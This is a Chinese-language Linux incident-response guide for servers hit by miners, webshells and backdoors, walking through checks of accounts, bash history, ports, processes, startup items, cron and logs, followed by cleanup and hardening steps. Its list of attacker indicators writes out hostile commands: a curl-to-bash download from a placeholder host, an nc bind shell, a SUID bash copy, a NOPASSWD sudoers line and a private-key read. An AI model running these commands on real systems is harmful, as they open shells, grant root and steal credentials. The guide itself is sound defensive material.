文章简介
企业服务器遭遇挖矿、Webshell、SSH 暴力破解、后门提权等入侵事件时,需要一套标准化排查流程快速取证、清除恶意程序、还原攻击链路。本文结合真实应急响应案例,整理 Linux 全维度入侵排查思路,覆盖账号、历史命令、网络端口、异常进程、启动项、定时任务、日志七大核心模块,附带可直接复制的排查命令与恶意特征识别技巧,运维、安全工程师可直接落地使用。
1、前言
当服务器出现 CPU 满载、带宽异常、陌生远程登录、业务卡顿等告警时,基本判定存在入侵风险。应急响应核心目标:
快速定位恶意后门、挖矿程序、提权账号;
追溯攻击入口(弱口令、漏洞、文件上传等);
清理持久化后门,避免病毒反复复活;
给出加固方案,修复安全漏洞。
本文基于线上真实入侵事件复盘,梳理标准化排查流程,适用于 CentOS、Ubuntu、Debian 全系 Linux 发行版。
2、整体排查思路
遵循账号→命令痕迹→网络→进程→自启动→定时任务→系统日志由浅入深排查逻辑:
身份层:检查异常账号、隐藏 UID=0 特权用户、非法 sudo 权限;
行为层:分析用户 bash 历史命令,还原攻击者操作;
网络层:排查异常外联端口、反弹 Shell、矿池 C2 通信;
进程层:定位隐藏木马、挖矿进程,通过 /proc 目录溯源恶意文件;
持久化层:开机自启、定时 Cron 任务(攻击者常驻主机核心手段);
日志层:SSH 登录、sudo 提权、系统操作日志溯源攻击时间线。
第一部分:账号安全排查(后门账号最常见入侵手段)
攻击者入侵后优先创建隐藏特权账号、开放空密码、赋予免密 sudo 权限,实现长期控制。
2.1 核心用户文件解析
/etc/passwd:存储所有系统账号信息 字段格式:用户名:密码占位符:UID:GID:注释:家目录:登录Shell
UID=0:除 root 外其他账号均为恶意特权账号,可直接提权 root;
Shell 为/bin/bash:支持远程登录;/sbin/nologin禁止登录。
/etc/shadow:存储用户密码哈希(仅 root 可读) 第二字段密码标识对照表: | 字段前缀 | 含义 | 风险等级 | | ---- | ---- | ---- | | $1$ | MD5 哈希 | 低(弱加密易爆破) | | $5$ | SHA256 哈希 | 中 | | $6$ | SHA512 哈希 | 标准加密 | | y$ | yescrypt | 新版加密 | | ! | 账号锁定,禁止密码登录 | 安全 | | * | 系统内置账号,无登录权限 | 安全 | | 空值 | 空密码,任意远程登录 | 极高危 | | !$6$xxx | 原有密码被锁定 | 安全 |
2.2 账号排查命令合集
bash
运行
# 1. 查看全部系统账号
cat /etc/passwd
getent passwd
# 2. 查找UID=0特权账号(除root外全部可疑)
awk -F: '$3==0{print $1}' /etc/passwd
# 3. 筛选拥有有效登录密码的用户
awk -F: '$2 ~ /^\$[156y]/ {print $1}' /etc/shadow
# 4. 检查非法sudo权限用户
grep "ALL=(ALL)" /etc/sudoers
# 5. 查看当前在线登录用户(tty本地、pts远程SSH)
who
w
uptime
# 6. 异常账号处置命令
usermod -L hacker # 锁定可疑账号,shadow密码段加!
userdel hacker # 删除账号(保留家目录)
userdel -r hacker # 删除账号+对应/home家目录
2.3 实战案例
排查时发现hacker:!:20392:0:99999:7:::异常账号,家目录/home/hacker存在.bash_history恶意下载、后门执行命令,判定为黑客创建后门账号。
第二部分:历史命令痕迹排查(还原攻击者操作)
攻击者执行 wget/curl 下载木马、nc 反弹 shell、添加定时任务等操作会留存 bash 历史,即使执行history -c清空内存记录,磁盘.bash_history文件仍保留完整操作。
3.1 排查命令
bash
运行
# 1. 查看当前root内存中历史命令
history
# 2. 遍历所有用户历史命令(重点root、www-data、新增可疑账号)
find /home -name ".bash_history"
cat /root/.bash_history
cat /home/hacker/.bash_history >> history_back.txt # 导出取证
# 3. 高频恶意命令特征(检索匹配)
grep -E "curl|wget|nc|bash|base64|crontab|chmod +s|sudoers" /root/.bash_history
3.2 典型恶意操作特征
远程下载执行后门:curl http://xxx/shell.sh | bash、wget xxx/backdoor -O /tmp/xxx;
反弹 Shell 后门:nc -lvp 4444 -e /bin/bash;
SUID 提权后门:cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash;
持久化权限后门:echo 'bob ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers;
Base64 加密载荷、私钥窃取:cat ~/.ssh/id_rsa、读取authorized_keys免密 SSH 公钥。
第三部分:异常端口与网络连接排查
攻击者需要网络通信控制主机,常见行为:挖矿外联矿池、反弹 Shell 监听端口、C2 木马长连接、SOCKS 代理隧道。
4.1 常用网络排查命令
bash
运行
# 传统netstat(兼容低版本系统)
netstat -antlp | more
netstat -ano | grep ESTABLISHED
# 新版ss(效率更高,推荐)
ss -antp
ss -antlp # 查看监听端口+对应进程PID
# 查看端口对应进程文件
lsof -i
ls -l /proc/$PID/exe
参数说明:
-a:全部连接;-n:数字 IP 不解析域名;-t:TCP 连接;-l:监听端口;-p:显示进程 PID
4.2 高危异常端口判定
非业务监听端口(4444、9001、31337 等常见后门端口);
大量外联境外陌生 IP、矿池域名;
本地端口对外建立大量 ESTABLISHED 长连接。
第四部分:异常进程深度排查(挖矿 / 后门核心定位)
入侵后挖矿、Rootkit、木马进程会占用 CPU / 内存,部分恶意程序会删除自身源文件,但/proc虚拟文件系统会保留进程完整信息。
5.1 基础进程查看
bash
运行
# 按CPU降序排序,快速定位挖矿程序
ps aux --sort=-%cpu | head -20
top
htop
# 过滤挖矿关键词
ps aux | grep -E "xmrig|miner|kinsing|kdevtmpfsi"
5.2 /proc 目录溯源恶意进程(关键取证手段)
/proc/[PID]存放对应进程运行时所有信息,即使程序已被rm删除,仍可 dump 恶意文件:
bash
运行
# 查看进程真实二进制路径(标注deleted代表文件已自删)
ls -l /proc/$PID/exe
# 查看进程打开的文件、网络套接字
ls -la /proc/$PID/fd
# 导出已删除的恶意程序样本用于分析
cp /proc/$PID/exe /tmp/malware.bin
实战案例:/proc/7/fd/255 -> '/usr/local/bin/start.sh (deleted)',脚本执行rm -- "$0"自删除,写入隐藏后门配置,属于典型持久化木马。
第五部分:开机启动项排查(持久化后门)
攻击者修改开机自启配置,服务器重启后恶意程序自动运行。
6.1 Linux 运行级别说明
表格
运行级别
作用
0
关机
1
单用户修复模式
2
无 NFS 字符界面
3
标准命令行模式(服务器默认)
4
系统保留
5
图形桌面
6
重启
6.2 自启文件排查命令
bash
运行
# 全局开机脚本
cat /etc/rc.local
ls -l /etc/rc.d/rc3.d/
# systemd系统服务排查(CentOS7+/Ubuntu16+)
systemctl list-unit-files --type=service --state=enabled
ls /etc/systemd/system/
识别规则:S开头软链接开机启动,K开头开机关闭;陌生.service、自启脚本全部标记可疑。
第六部分:定时任务 Cron 排查(最容易忽略的持久化方式)
挖矿、远控木马几乎全部依靠 Cron 定时拉取更新、重启程序,只杀进程不清理定时任务会导致病毒反复复活。
7.1 全量 Cron 路径全覆盖排查
bash
运行
# 当前用户定时任务
crontab -l
# 系统级定时任务文件
cat /etc/crontab
ls /etc/cron.d/
ls /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
cat /etc/anacrontab
# 所有用户定时任务存储目录
ls /var/spool/cron/
7.2 恶意 Cron 特征
每分钟执行 wget/curl 下载脚本、执行 /tmp 目录下未知二进制、后台静默运行挖矿程序。
第七部分:系统日志与补充全量排查命令
8.1 登录安全日志(溯源入侵时间、攻击 IP)
bash
运行
# Ubuntu/Debian SSH登录日志
cat /var/log/auth.log
grep "Failed password" /var/log/auth.log # 暴力破解记录
grep "Accepted password" /var/log/auth.log # 成功登录IP
# CentOS/RHEL安全日志
cat /var/log/secure
8.2 全套综合排查命令(应急一键复制执行)
bash
运行
# 系统基础信息
uname -a
cat /etc/hostname
cat /etc/resolv.conf
df -h
mount
# 查找SUID提权文件(高危提权载体)
find / -perm -4000 2>/dev/null
# 搜索私钥、证书、配置文件
find / -name "*.pem" 2>/dev/null
find / -name "*.conf" 2>/dev/null
# 检查shadow文件是否被锁定篡改
lsattr /etc/shadow
# 查找/tmp临时目录恶意文件(攻击者常用存放目录)
ls -la /tmp
入侵事件处置流程
隔离:断开服务器外网,避免对内网横向渗透、挖矿损耗带宽;
取证:导出 bash 历史、日志、恶意程序样本、网络连接记录;
清理
kill 恶意进程,删除木马二进制;
删除可疑账号、清理非法 sudo 配置;
注释 / 删除全部恶意定时任务、开机自启脚本;
防火墙拉黑外联矿池、C2 恶意 IP;
溯源:确认入侵入口(弱口令 / 漏洞 / 上传木马);
加固:修改全量账号强密码、关闭不必要端口、限制 SSH 登录 IP、定时巡检 Cron 与启动项。
服务器长期安全加固建议
SSH 禁用 root 远程登录,使用密钥登录,限制登录来源 IP;
所有账号设置 16 位以上大小写 + 数字 + 特殊符号强密码;
定期巡检/etc/passwd、Cron 任务、开机自启;
部署主机安全监控,告警 CPU 异常、陌生外联、新增账号;
禁用不必要 SUID 程序,定期更新系统内核与软件包;
/tmp 目录限制执行权限,禁止未知程序运行。